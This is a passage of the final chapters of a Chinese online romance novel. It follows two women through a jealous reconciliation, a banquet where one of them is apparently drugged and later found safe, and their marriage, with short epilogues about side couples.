真正分开这一天,忽然觉得一天的时间真的好久,工作了好一会儿,看了看时间,才不过两个小时。 这个时间,纪青云大概在开会。 阮陶然压下去手机,没有发消息过去,然后转头埋入了设计稿里面。 又过了很久,拿起来手机一看,怎么才二十分钟? 会议大概是还没有结束。 万星春端了杯咖啡放在她桌上:“怎么?第一天上班不适应?” “没有,很适应。”阮陶然这么说着,目光却忍不住往手机上面瞟。 纪青云居然没有给她发消息过来…… 算了,她是个工作脑,忙起来是六亲不认的。 时间就这么慢悠悠地消耗,最后总算到了午饭的时候。 “中午吃什么,要一起吗?”阮陶然伸了个懒腰,问万星春,看了眼手机屏幕,还是没消息。 “我们几个一起出去吃。”万星春抬起下颌,示意,“你这不是有伴儿了吗?找我干什么?” “什么有伴儿?你们这是孤立我……”阮陶然一边嘀咕着,一边抬头看过去。 六组办公室,正对着整个Seraphine最大的会客厅,此刻会客厅的门开着,抬眼过去,就看到坐在会客厅的人。 短款毛呢外套剪裁利落,腰间的深棕色腰带是阮陶然早上亲手扎上去的,雅致的交领领口上,两粒暗金色的装饰纽扣,和耳边的玫瑰金耳饰交相辉映,细碎的流苏微微摇晃,给暗色的穿搭增添了一抹时尚亮色。 阮陶然怔了一下,万星春推了她一下:“好了,别忙了,去吧。” 纪青云手边放着几份文件,韩悦见阮陶然进来,赶忙站起身,想要说什么,却被阮陶然一个小小的手势拦住。 似乎是明白了什么,韩悦唇边扬起弧度,然后轻手轻脚地退了出去。 阮陶然从后面抱住了人的脖子,像只树袋熊一样挂在她的肩膀上:“什么时候来的啊,也不叫我。” “来的时候,某人工作得很认真,都没抬头看我一眼。”纪青云合上手上的文件。 她侧转头过来,极近的距离之下,两个人的鼻尖几乎碰触在一起。 阮陶然情不自禁凑上去轻轻蹭了蹭,是让人安心的气味:“工作可没有姐姐重要。” “花言巧语。” 花言巧语的小狐狸很会哄人,但是纪青云也就吃这一套,那眸子里亮晶晶看着她的时候,是不是骗人都不重要了。 “吃饭了。”纪青云把桌上的保温袋拿过来,菜色一样一样摊开在桌上。 “纪氏这么远……”阮陶然声音顿了顿,却一句扫兴的话都没说,“远道而来,辛苦了。” 终究是匆匆忙忙,匆匆忙忙吃了饭,然后匆匆忙忙往公司里面赶,怕是午休的时间都要在车上度过了。 为了一个惊喜,忙忙碌碌。 阮陶然算着时间,晚上她下班的时间比较早,刚刚好能到纪氏接人一起下班。 下班时间一到,忙不迭拎起来自己的东西就跑。 “春春姐,我先走了,有事情联系我……” 声音还未完全消失,人已经跑出去了。 万星春看得愣神,啧了一下:“完了,以后没有好日子过了。” “怎么没有好日子过了?”新来的小姑娘来交文件,有些不解。 “天天近距离吃狗粮,可能会消化不良。”万星春虽然是这么说着,脸上却忍不住洋溢出来笑容来。 真是春天到了,让人都有忍不住的躁动了。 纪青云没想到阮陶然会出现在公司楼下,就像是阮陶然也不知道她中午会去找她吃饭一样。 手牵手一起上了车,又给纪氏的员工撒了一波狗粮。 这个点还是有些堵,再加上还在正月里,入夜早,到家的时候,天已经黑下来了。 两个人手挽着手说说笑笑踏入家门,管家迎上来接过来两个人手里的包,低声说道:“有客人来了。” “客人?”阮陶然有些意外,朝客厅看去,与一双碧眼四目相对。 姜颂起身:“然然,纪总。”后面是个很疏离,很冷淡的称呼。 上次见面,还是在阮陶然那里,姜颂一副女主人的样子。 纪青云眸子微冷,但是表面上的礼节却还是一丝不苟:“姜小姐来了,怎么也不提前说一声?” “我是来,归还一样东西。”姜颂站起身。 她从口袋里面,摸索出来一条水晶手链,放在手心,指尖捏了捏,然后放在了桌面上。 “送到了,我就走了。” “这次回国的时间很短,明天就离开了。” “请便。”纪青云颔首,一点都没有留她吃晚饭的意思。 “我送送你……”阮陶然张口,却觉得身侧的目光有些灼灼,连忙改口,“我让管家送送你。” 没有挽留。 纪青云走到桌面,修长的指节捏起来桌上的水晶手链。 差不多的手链,差不多的字母标记,阮陶然的名字,还有温热的温度。 “姐姐,这个……”阮陶然连忙想要解释。 “她本可以随便丢了,或者送给管家,然后就离开。可她偏偏等到我们都回来,再离开。” “她的意思我当然明白,也不会中这么简单的离间计。” 纪青云语气淡淡。 “跟我来。”她说着,率先往书房里面走去。 阮陶然有些摸不着头脑,不是说,不会中离间计吗?这语气听起来,怎么不太好的样子? 走到桌面,纪青云俯身下去,手抽出来下层的抽屉,把手里的水晶手链扔进去。 阮陶然的目光看过去,然后一下子怔住。 这个…… 抽屉底都铺满了,十几条。 好家伙,她都不知道,这些到底都是送给谁的。 阮陶然喉头紧了紧:“这个,我可以解释……” 纪青云却已经直起身来,走近过来,往前逼近了一步,阮陶然往后退了一步,差点儿后脑勺撞书架上。 纪青云的手搭在了她的腰身上,微微收紧,金丝眼镜之后,浅琉璃色的眸子充满了压迫感。 “送了多少?” 阮陶然只觉得心虚,小声说道:“记不清了。” “嗯?”纪青云的语气微微扬起,声线有些冷,“记不清了?” “怎么在你手上啊……”阮陶然挤出来一个灿烂的笑容。 “买回来的。”纪青云淡淡说着,伸手取下来眼镜,叠也不叠,随手放在书架的高处。 她的指尖有些微凉,缓缓压紧的力度,引得阮陶然的呼吸微微一紧:“姐姐……” “你可以慢慢想。”纪青云的吻也落了下来。 轻轻的吐息落在颈间,两个人的身躯紧紧压在一起,仿佛听到彼此的心跳声。 纪青云的指尖的温度也是微凉的,阮陶然有些站不稳,搂住纪青云的脖颈,轻轻呜咽了一声。 可纪青云没有饶过她的意思:“想清楚了吗?” 阮陶然:“……”她是真的不知道啊。 更不知道,纪青云居然在背地里,把这些东西都收回来了。 书房的皮质沙发,膝盖跪上去久了会有淡淡的红印子,皮革的纹路印了上去。 阮陶然的唇逃脱出来,微微偏了头:“姐姐,还没吃饭,管家……” “不会来打扰我们,你放心。”她的腰身一沉,被拉入一个微凉的怀抱里面。 沙发终究是有些窄,两个人的身形几乎交叠在一起,缓缓摩挲而过的力度,把整个房间的温度,都往上抬了抬。 “姐姐……”她的声音微微有些发颤。 “等会儿,可以还给你一条。”纪青云的语气之中裹着浓重的呼吸声,钻入阮陶然的耳廓里面。 浓烈的温度,一下子穿过鼓膜,引得人心微微一震。 “一条吗?”阮陶然轻声问道。 “嗯,还得是我满意了,就还给你一条。” “等抽屉什么时候清空了,这件事,我就当是忘了。” 阮陶然微微抖了抖,完了,纪青云一直在花钱收,那个抽屉,什么时候能清空啊。 第83章 第 83 章 环视一圈,纪青云呢?…… 春分, 也是个大日子,纪老爷子八十岁大寿。 阮陶然跟着纪青云到场的时候,里里外外已经到了不少的宾客。 见到纪青云, 几个小妈都怔了一下,然后纷纷推着自家的孩子过去:“快去, 快去跟姐姐问好。” 这几个小孩也就十岁上下的年纪,规规矩矩来叫了“姐姐好”,眼睛却都有些微微的惧色。 想必是, 都被母亲在背地里耳提面命过, 这个姐姐非同一般, 手里握着他们的命运。 想起来梁霜的下场, 几个小妈都噤若寒蝉。 曾经的嫡孙没斗过, 梁霜没斗过, 纪育川没斗过, 就连老爷子现在都落于下风, 他们已经是不敢有别的想法了。 人不犯我我不犯人,纪青云对这些弟弟妹妹没什么敌意,颔首打招呼, 然后牵着阮陶然从人群之中走过去。 内厅,正传来阵阵的笑声。 就在纪青云踏进去的一瞬间, 笑声戛然而止。 纪老爷子看过来,眸色不善:“你还记得回来?” “爷爷生日,当然要回来。”纪青云一抬手, 身后的人抬着东西送到了前面。 “元青花, 少有的极品,祝爷爷福如东海,寿比南山。”纪青云淡淡说道。 姿态做足了, 语气里没有几分小辈的谦卑。 多少还是要在圈子里混,礼仪教养和名声,纪青云都维护得好好的,但是有几分真心就未可知了。 “那个,那个丫头……”老爷子却伸手指了指阮陶然。 阮陶然下意识想要上前见礼,却被纪青云拦住了:“爷爷这里热闹,我们就不打扰了。” 她牵着阮陶然的手就往外走。 “姐姐……”阮陶然小声说道。 “他与我终究血缘孝道,论理他也算是把我养大,我该在他面前低头。” “但你不需要,他与你没有关系。” “可我们有关系啊。”阮陶然轻声说道,笑着攥紧了纪青云的手,“我面上做得好看,姐姐的面上才好看。” “放心,我也备了礼物,这会儿晓晓应该已经送进去了。”阮陶然继续说道。 “你啊。”纪青云有些无奈,却也懂得,这是阮陶然想要和她站在一起的心意。 出了内厅,迎面撞上一行人,为首之人穿银灰色西装,剪裁利落的线条,勾勒出挺拔的身形,笑容随和,儒雅气度。 “纪总,好久不见。”傅长宁主动迎了上来。 “好久不见。”纪青云不能对他视而不见。 “这位……”傅长宁看向阮陶然。 纪青云想要拦,但是没拦住,阮陶然上前一步:“阮陶然,纪总的女朋友,傅总,初次见面。” “如雷贯耳。”傅长宁脸上挂着得体的笑,但眸子里有几分沉色。 看起来,就是个柔柔弱弱的小姑娘,他想不通自己输在哪里,家世、能力、长相…… 他是有不甘心的,选好的傅太太的人选,煮熟的鸭子,飞了。 但他并没有说什么挽回之话,只是简单的寒暄。 然后脚步一迈,从两个人的身边越过去,朝着内厅而去。 “爷爷,什么时候和他关系这么好了……”纪青云忍不住轻轻蹙了蹙眉。 她倒是不怕老爷子能作什么妖,现在家里几个弟弟妹妹都是不成器的,老爷子年岁已高,公司里的风早就是完全倒向她这边了,已经不可能有翻盘的余地。 只是…… 罢了,可能是多想了。 晚宴一如既往无聊,纪青云作为纪家的主人,在敬酒之中也算是喝了两轮。 阮陶然自知酒量不好,从一开始就推脱酒精过敏,滴酒不沾。 吃完饭,放烟花的环节,纪青云起身的瞬间,身形却忍不住轻轻晃了晃。 一瞬间的晕眩,但又不是很明显,像是坐久了,一下子站起来的血压不适应。 “怎么了?”阮陶然意识到她脚步的停滞,转头看过来。 “可能是喝多了。”那股晕眩的感觉已经被压下去了,纪青云也没放在心上。 “你先去看烟花,我去趟卫生间。”纪青云指了指不远处,“陆总和顾医生也在,你可以跟她们站一起。” “好。”恰好顾医生朝这边招手,阮陶然点了点头,就快步迎了过去。 眩晕的感觉,越来越沉,纪青云意识到,真的可能有些不对劲。 走出卫生间,拿出手机,低头一边走一边拨阮陶然的电话。 一抬头,险些撞入迎面而来的人的身上。 “傅总。”她定住了脚步,礼貌打招呼。 “纪总好像有些,喝醉了。”他说着,往前了一步。 纪青云却反应敏捷,迅速往后撤了一步:“傅总有什么事情?” “刚才老爷子和我讲了一些……纪氏的事情……”傅长宁缓缓说道,“说是纪氏在港岛曾经也是有生意的。” 纪氏的确在港岛开过分公司,但是水土不服,经营不善,虎头蛇尾,现在只是个空架子。 老爷子想用这个,做什么事情?这是纪青云的第一个想法。 第二个想法就是,傅长宁算是什么好人,会主动来告诉她? “不如,我们找个安静的地方,好好聊聊。”傅长宁伸手过来,一副要搀扶纪青云的意思。 纪青云伸手就抵住了他的胳膊,保持了两个人之间的距离:“不用了,不需要。” 分公司,能折腾出来的水花有限,她还不至于放在眼里。 她想要往后再退一步,拉开彼此的距离,但是那股淡淡的眩晕感,忽然又扑面而来。 她只觉得眼前的场景晃了晃,灯光像是投射出来三个影子,眼前的傅长宁带着重影。 然后下一瞬间,眼前就陷入一片暗色。 失去意识之前,纪青云只来得及,猛地按了几下手机的电源键。 烟花升上天空,咚咚的声音里,阮陶然放在餐桌上的手机振动了几声,紧急联系人的消息。 “八十大寿,过得果然气派。”顾寄欢看着烟花说道。 “你要是喜欢,也给你放一场。”陆时年见她眼睛亮晶晶的,有些无奈。 “等我八十岁啊?”顾寄欢咂舌,“我未必能活到八十岁。” “明天也可以。”陆时年伸手点了一下她的眉心,“不准胡说八道。” 阮陶然听她们两个的互动,忍不住轻轻一笑。 嗯,恩爱得让人很安心。 她很好奇,这样的模范妻妻,到底有没有吵过架。 她和纪青云,最近没吵架,之前可是冷战得…… 对了,环视一圈,纪青云呢? 去卫生间这么久还没回来吗? 第84章 第 84 章 照进来暖暖的日光 一辆一辆车驶离纪家老宅, 阮陶然靠在门口的车边,目色淡淡打量过去。 肩上披了件黑色的羊毛外套,上面还残留着纪青云身上的幽冷香味, 在略有寒意的空气之中,把阮陶然紧紧包裹住。 垂落下去的手, 握着手中的手机,指尖轻轻在手机背面有一下没一下地敲击。 韩悦匆匆走过来,跟她耳语了几句话, 她微微颔首, 眸色越发阴沉。 月色之下, 清冷得月光落在她身上, 往常那双含着灿烂笑意的眸子, 浸透着一层月光也融不化的冷意。 终于, 在目标车辆出现的时候, 阮陶然轻轻抬了抬手, 背后那些保镖瞬间一拥而上,把这辆车围在了正中央。 后车窗落下来,月光映照出来男人儒雅温润的轮廓, 投递过来的目光得体友善:“阮小姐,这是干什么?” 阮陶然一步一步走过去, 隔着窗子和傅长宁对视:“我想做什么,傅总不会不清楚吧?” “麻烦傅总下车,您的车, 我需要里里外外查验一遍。”她语气很淡, 却浸透着冰的冷。 “这……”傅长宁唇角扬了扬,“阮小姐好像没有这个权利。” “车内是我的私人空间,如非警方, 无权查验。” “而且,今日我是纪家的客人,阮小姐这般,是不给我面子,还是不给纪家面子?” 傅长宁转眸,不再看阮陶然,而是看向前方的司机:“陈哥,开车。” “傅总,前面有人……”司机低声说道。 此刻,整辆车都被保镖围得水泄不通,根本没办法往前开。 “阮小姐,麻烦让你的人,让开。”傅长宁语气淡淡,眸子里一片淡然从容。 “此刻宾客还没有完全离开,若我让人撞过去,这事就闹大了,阮小姐也不想把事情闹大吧?” 阮陶然垂在身侧的手指忍不住微微收紧了,她恨不得把所有宾客的车查一遍,但考虑纪氏的脸面,还是忍住了。 闹大?今天就算是闹得再大,她也不会让傅长宁的车离开。 “麻烦傅总,下车。”阮陶然冷声,“傅总一再阻拦,难道是有什么不可见人,怕被人发现。” “我说过,除了警方,无权查问。”傅长宁语气淡淡,转头与阮陶然四目相对。 “好,那就等警方来,在警方到来之前,傅总的车,别想往前一步。”阮陶然并不惧怕他的眼神。 “还有,请傅总想清楚,警方查车这样的舆论流传出去,对您的家族的名声,会不会有什么影响。” “你威胁我?”傅长宁唇角的笑意压下去,“阮小姐,身正不怕影子斜。” “可舆论不管这些,我猜人们更喜欢阴谋论或者厚黑学。”阮陶然唇角一扬说道,“到时候,舆论相信傅家清清白白,还是相信傅家手眼通天?” 就是威胁,摆明了的威胁,警方查车,她就会直接泼一盆脏水上去。 大众不在乎真相,大众只在乎看热闹。 “好吧。”傅长宁轻笑了一声,“阮小姐,你赢了。” 他话锋一转:“我可以下车,也可以给你查,但如果什么都没有查出来,阮小姐该怎么赔礼道歉?” “我的时间,我的名誉,都很值钱。” 他的自信,让阮陶然有一瞬间的恍惚,觉得他真的成竹在胸。 可是,根据老宅里面的监控画面显示,最后纪青云消失的时候,就是傅长宁搀扶着纪青云。 他的自信,也有可能是在唬人。 见阮陶然似乎陷入思量,傅长宁说道:“阮小姐,想一想你能不能承担我报复的代价吧。” “我承担得起。”阮陶然伸手压在车窗上,居高临下,眸子冷厉,“傅总,下车吧。” 无论他是不是唬人,就算是只有百分之一的可能,这辆车她查定了。 至于什么见了鬼的报复,她管不得那么多。 韩悦主动上前一步,伸手拉开了车门:“傅总,请。” 整个车都被打开,后备箱也全部打开,里里外外,恨不得一根头发都不放过,仔仔细细搜了一遍。 傅长宁点了支烟,神色淡淡:“阮小姐,还没查完吗?” 阮陶然看向韩悦,韩悦走过来,凑到她耳朵边上低语了几句。 阮陶然的眉心忍不住轻轻蹙起来,没有,真的没有,一丝线索都没有。 可能掉落的手机、可能脱落的纽扣、甚至是一根长发都没有,这辆车干干净净,一点问题都没有。 “我看你们都是纪总的人,也真是分不清轻重缓急,她一个小丫头,陪着她胡闹。”傅长宁语气散漫。 不知为何,阮陶然从他的眸子之中读出来几分得逞的嚣张。 “我不需要你教我做事,这辆车虽然干净,但傅总,并不代表你干净。”阮陶然并没有放弃对他的怀疑。 “是吗?”傅长宁吸了一口烟,把剩下的半截烟丢在地上,轻轻踩灭,“阮小姐,还真不怕得罪我。” “有些事情,睁一只眼闭一只眼,就算过去了,阮小姐,别自己想不开。” 阮陶然今日的魄力,已经超出傅长宁的预料之中了。 本以为这是只柔弱的金丝雀,没想到居然敢查他的车,还如此不落下风地与他对话。 不过,他并不惧就是了。 阮陶然脸色有些沉,她倒不是被傅长宁唬住了,她心里在着急,如果不在傅长宁这里,那在哪里? 一分一秒过去,就多一分的危险,她需要保证清醒的头脑。 “阮小姐,我可以走了吗?”傅长宁眉眼之中,有些微微的揶揄。 与此同时,宾客也在退场,另一边,一辆一辆车驶离,阮陶然心里仿佛抓住了什么,一闪而过。 “我可没空陪阮小姐在这里胡闹。”傅长宁拉开车门,上了车,关上车门,“走了。” “阮总……”韩悦小心问道。 现在查出来没什么问题,如果再把人留着,似乎没有道理。 阮陶然却眸子微微一动,看到了另一辆车:“韩助理,那辆。” “那辆,是老爷子的车。”韩悦小声说道。 “就是那辆。”阮陶然明白,她一瞬间抓住的灵感是什么了。 从监控上看,纪青云的状态明显不对劲,她一向酒量很好,到了量就不会多喝,很少允许自己喝醉。 也就是说,可能是因为别的东西。 今日,傅长宁只是客人,酒菜都是主家准备,也就是纪老爷子。 韩悦一抬手,那些保镖立马分出去了一部分,围住了那辆车。 后车窗落下来,是老爷子的脸,阴沉沉的:“你打算做什么?这是我纪家的地盘,这些也是我纪家的人。” “麻烦爷爷下车,这辆车,我也要查。”阮陶然却丝毫不被他的语气吓到。 “纪青云果真是不孝,现在让一个小丫头在我面前作威作福了。”纪老爷子扬了扬语气,周围人都听到了。 “此事,是我个人行为,和纪总没有任何关系。” “如果对我有不满,日后,可以和我计较。” 阮陶然微微躬身,态度良好:“请爷爷下车吧。” “寿宴结束,大晚上的,爷爷又要出门,这怎么都不正常吧。”阮陶然说道。 “我做什么,轮不到你一个小辈指指点点。”纪老爷子冷哼一声,“往前开,不必理会。” 车往前启动,那些保镖纷纷往后退了一步。 有些宾客没走,远远张望这边的热闹。 阮陶然快走两步,直接拦在了车前,脚步稳稳定住,一步都不退。 车在最逼近她的位置停下,车头已经碰触到大衣的衣角,只要再往前踩一脚油门,就会把她整个人撞倒。 一步都没退,抬眸一个眼神看向韩悦。 韩悦心下了然。 今日,她也的确对这位阮小姐刮目相看了。 老宅这些保镖被纪青云换过一遍,此刻都是听韩悦的话。 但是扪心自问,如果韩悦只有自己在这儿,她没有魄力去查傅长宁的车,更没有魄力拦住老爷子。 不远处,傅长宁架在车窗上的手收回来,冷声道:“走吧,没有好戏看了。” 他眸子定定地落在阮陶然的身上。 她身量不是很高,甚至显得有些纤弱,但是定定站在那儿,仿佛是定海神针。 本来说好的,他这辆车吸引注意力,也想着,一个小丫头,不敢查长辈的车…… 不过还好,没有留下什么证据。 只是家事,他傅长宁没有参与其中。 只是可惜,错过了这样的好机会。 纪青云只觉得脑子里沉甸甸的,像是被万钧之山压住,喘口气的机会都不能。 拼了命想要睁开眼,但是眼皮子也沉甸甸的,仿佛眼前有一团迷雾,怎么都被紧紧包围住。 她努力想要挣脱,努力往前跑,终于,全身猛地一松,眼前出现光线。 疼,额角一阵阵撕裂一般的疼。 她睁开眼睛,看见一片白花花的天花板,淡淡的消毒水的气息,是在医院里吧。 昏迷前的记忆落入脑海之中。 她喝得不多,最后却猛地失去了意识,最后一个见到的人是……傅长宁…… 纪青云心里猛地一缩,指尖也是轻轻一缩,然后就感觉到了,紧紧捧着自己的手,温暖的温度。 她下意识猛地把自己的手抽出来,然后转头看去。 阮陶然被她惊醒,迷迷糊糊抬起头来,看到那双浅琉璃色的眸子,眼睛一亮:“姐姐,你醒了。” 外面似乎已经是白天了,她眸子里遍布着红血丝,虽然脸上带着喜色,却压不住的深沉倦意。 她……守了一晚上吗? 纪青云心里微微一动,张口轻声道:“上来陪我躺会儿。” 她没有问前因后果,只是等人和衣躺在身边的时候,伸手紧紧搂住了,一片迷雾之中,照进来暖暖的日光。 在买到那些水晶手链的时候,她也知道了小时候的真相。 她一度以为,阮陶然不喜欢她,一切只是一场戏。 可现在看来,并不是。 动心无论早晚,现在双向奔赴,就是最好的结局。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 85、【全文完结】 第85章 第 85 章 新婚快乐 日日晓:你在哪儿啊? 嗑一口CP:就在星悦城一楼的咖啡厅, 吧台这里。 日日晓:我到了啊,怎么没有看到你? 林晓晓第一次面基,选在了七夕这天, 因为两个人都忙得很,平时根本没时间见面。 今天, 双方老板居然都默契地放了假。 林晓晓一边张望着,一边蹙眉:“没有啊……” 她没看到所谓的基友,就只看到了一个熟人, 她也恰好抬头看过来, 和她四目相对。 已经发现了, 就不好溜走了, 林晓晓拎着手里的玩偶走过来, 礼貌打了招呼:“韩助理, 真巧。” “真巧。”韩悦站起身, 跟她握手, 指尖碰触而过,微微暖意的温度。 “我在这里等人,坐一下, 你忙你的。”林晓晓在边上的位置坐下了。 然后气呼呼地给对面发消息—— 日日木:你跑哪儿去了?好尴尬啊,我遇到了熟人, 也不算熟……半生不熟的人…… 日日木:就是这样最尴尬了,你快点来。 说着,拍了手里的玩偶发给对面。 日日木:我抱着一个准备送你的玩偶兔, 在咖啡厅等你, 你一眼就能看到我。 发完,林晓晓放下手机抬头,想用余光打量一下韩悦, 结果四目相对。 韩悦起身,走到了林晓晓对面,指了指她手里的兔子:“送我的?” 林晓晓:“不是……” 韩悦眨了眨眼:“你给我发消息说是给我的啊。” “啊?”林晓晓的大脑运转了一下,惊呼,“你是……” “对,是我,自我介绍,我叫韩悦。”韩悦伸手过来,像是第一次见面打招呼的样子。 “你好,我是林晓晓……”林晓晓的脑子这会儿还没有反应过来。 头像、助理、老板……好像忽然一下子豁然开朗了。 “你不要——”两个人异口同声。 顿了一下,又异口同声:“不要告诉我老板——” 林晓晓加了一句:“也不要告诉你老板……” 她可没少蛐蛐自家老板的女朋友,谁能想到,就是纪青云啊,这要是让她们知道了,还不完了? “不会。”韩悦脸上灿烂一笑,“三次元是三次元,二次元是二次元。” “二次元万岁!”林晓晓和韩悦异口同声,并且伸手击了个掌。 这是她们聊天时候最常说的话,二次元小说妹的世界,是纯粹的,没有老板,没有工作。 “走吧,看电影。”韩悦率先说道,这是她们早就规划好的行程。 “好。”林晓晓点头。 两个人高高兴兴上了楼,进场的时候才觉得不对劲,周围怎么都是……情侣? 后知后觉,七夕。 恋爱的泡泡冒得整个厅都是,两个单身狗面面厮觑。 林晓晓一把搂住了韩悦的胳膊:“谁说好朋友不能在七夕看电影了?” “对啊。”韩悦附和,“电影院也没有标单身狗勿入。” “你单身啊?”林晓晓问道。 “嗯。”韩悦点头,“你呢?” “单身,母胎solo。”林晓晓咬牙切齿。 “也是,干这行,都忙得没有私人生活了。”韩悦叹了口气。 月薪也很高就是了,她看得很开,不需要爱情,二次元小说妹在现实之中完全找不到爱情。 书里的爱情太完美,看周围的人,都觉得……现实残酷。 “开始了,开始了,看电影。”林晓晓把自己手机调整了个静音状态,催促道,“你也静音啊。” “还是不了……”韩悦有些犹豫。 “纪总今天不会有空找你的。”林晓晓眨了眨眼睛。 “你知道了什么?”韩悦问道。 林晓晓嘿嘿一笑:“这是个秘密,反正没空就是没空啦。” 江面,游轮缓缓行驶而过,于甲板上看到今夜江城之景,跨江大桥霓虹闪烁,整个城市灯火通明。 只有江面上的暗色,把周围一片天地笼罩,耳边有风声,有水声。 阮陶然觉得肩膀上微微一沉,压下来了一件外套,把她整个人裹住。 “江面还是有些冷。”纪青云在阮陶然身侧站定,手扶在栏杆上,随意交叠探出去,抬头看天空。 今晚没有月色,风吹过她的头发,发往后飘过去,可以看到她白皙的脖颈,清冷的下颌线。 她冷得像是一段月光,却引得人忍不住着迷。 “可惜了,没有月亮。”纪青云说道。 阮陶然往她身边缩了缩,靠在纪青云的身上:“有啊,怎么没有?” 纪青云的唇角忍不住轻轻扬了扬,像是亘古寒冰,一瞬间融化,有些她往日里少见的松快柔和。 她当年记得,阮陶然的话,她说她是她的月亮。 今夜有月亮。 阮陶然的手搭在纪青云的手背上,一些有些微微硌手的触觉,纪青云垂眸道:“什么东西?” 把纪青云的翻过来,阮陶然在她的掌心放下一个小小的戒指,轻声道:“生日快乐。” “你怎么知道……我的生日……”纪青云有些意外。 自从妈妈死之后,她的生日也像那些记忆一样,永远埋藏在过去的风沙里。 阮陶然笑了笑,没说话,只是眼巴巴看着纪青云。 见纪青云没动,她催促道:“戴上去试试,看看合不合适。” 阮陶然拿起来纪青云的手,把戒指套在无名指上,刚刚好的尺寸。 这一枚戒指正中央是一枚月亮的形状,镶嵌了一圈的碎钻,衬着纪青云的冷白肤色,真的很好看。 纪青云的手很好看,修长而纤细,指甲修剪得很整齐干净,微凉的触觉。 阮陶然眼睛一眯,抬头看着纪青云,笑意狡黠:“戴上了就是答应了啊。” 纪青云忍不住轻轻笑了笑,眉眼之中也映着清浅的月色。 “笑什么?”阮陶然捏住了纪青云的手指,“快点快点,答应我吧。” “我是在笑,这个……”纪青云另一只手放在衣袋里,摸出来一堆铂金对戒。 “看来,我行动慢了。”纪青云无奈说道。 “不慢不慢,给我戴上,快快快,我答应你了。”阮陶然又急又快地把手伸出去。 一点都没有彼此推让的拖拉,欢欢喜喜地敢爱敢恨,欢欢喜喜地把炙热的爱意表达出来。 指环套在指节上,一个携带着江风清冷的吻,落在了阮陶然的眉心。 一簇一簇的烟花飞上天空,把整个江面笼罩入一片璀璨的光影之中。 “生日快乐。” “七夕快乐。” “新婚快乐。” 落在江风里面的声音。 而那个小小的红本,就躺在手包里面,浓烈的安全感。 她们今天不约而同给自己放了个假,去民政局登记结婚,心照不宣一般,都没有提戒指。 没想到,最后买了四枚。 韩悦走出影院,才想起来把手机打开,看推送过来的消息。 “什么?”一声惊呼,引得周围人侧目。 “你是不是早就知道?”韩悦看向林晓晓。 “现在,所有人都知道了吧……”林晓晓嘟囔一声,指了指星悦城里面最大的屏幕。 “我们结婚了。”短短五个字,下面是一张照片,两个人依靠在一起,坐在山坡上看日出。 这张照片,是阮陶然和纪青云的第一张合影,还是韩悦拍的,她当然一眼就看出来了。 “不是,结婚也不跟我说……” “也对,老板的事情,怎么能跟属下说。” “不对,你不也是属下吗?你怎么知道?” 林晓晓嗦了一口奶茶:“这就是和老板私交好的好处,你也可以……” “我不可以。”韩悦打断了她的话。 和纪青云一起逛街,一起吃饭,一起聊八卦……那个画面,不寒而栗。 “哎——”韩悦一把拉住了林晓晓。 “怎么了?”林晓晓回身回来。 “那个……冯总吗?”隔得有些远,韩悦有些不确定。 “谁啊?”林晓晓有些好奇,顺着看过去,她不认识冯珊珊,但是认出来:“那不是沈老师吗?” 林晓晓跟着阮陶然,见过几次沈秋序。 对这个旗袍美人,印象深刻。 此刻,沈秋序也是很高调,一身明丽的浅青色旗袍,手里拎着个珍珠手包,美得像是一副中国画,优雅走过。 冯珊珊就没这么优雅了,手里拎着十几个购物袋,一脸苦相地跟在沈秋序后面。 沈秋序定住脚步:“走快些,再慢些就关门了。” “祖宗,我就两条胳膊,拎不动了。”冯珊珊把购物袋放在地上,甩了甩手。 “那可不行,你答应我的,要陪我逛街。”沈秋序理直气壮,“这才哪到哪儿,就不行了?” 冯珊珊:“……” 沈秋序:“不是你说的吗?帮你拉到投资,就陪我逛街。” “别忘了,我现在可是你的老板了。”沈秋序下颌抬起,一脸高傲的样子。 冯珊珊也没想到,那么大的数额,沈大小姐直接拿卡拍在她面前:“入股,刷卡,我当股东。” 早说你的背景啊,我至于跟别人赔笑吗? 话说……现在也在赔笑啊…… “记住,以后,所有的七夕节都陪我逛街。”沈秋序抬手,“给我两个,帮你拎。” 都是她的东西,但她说“帮你拎”。 冯珊珊没递过去:“我还行。” “不对,以后所有七夕……” 冯珊珊还没说完,沈秋序转身就走了,扬声道:“跟上。” 冯珊珊看着那道旗袍背影,想起来之前被醉酒的沈秋序强吻。 不是吧,她不会……喜欢我吧? ——全文完结——魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m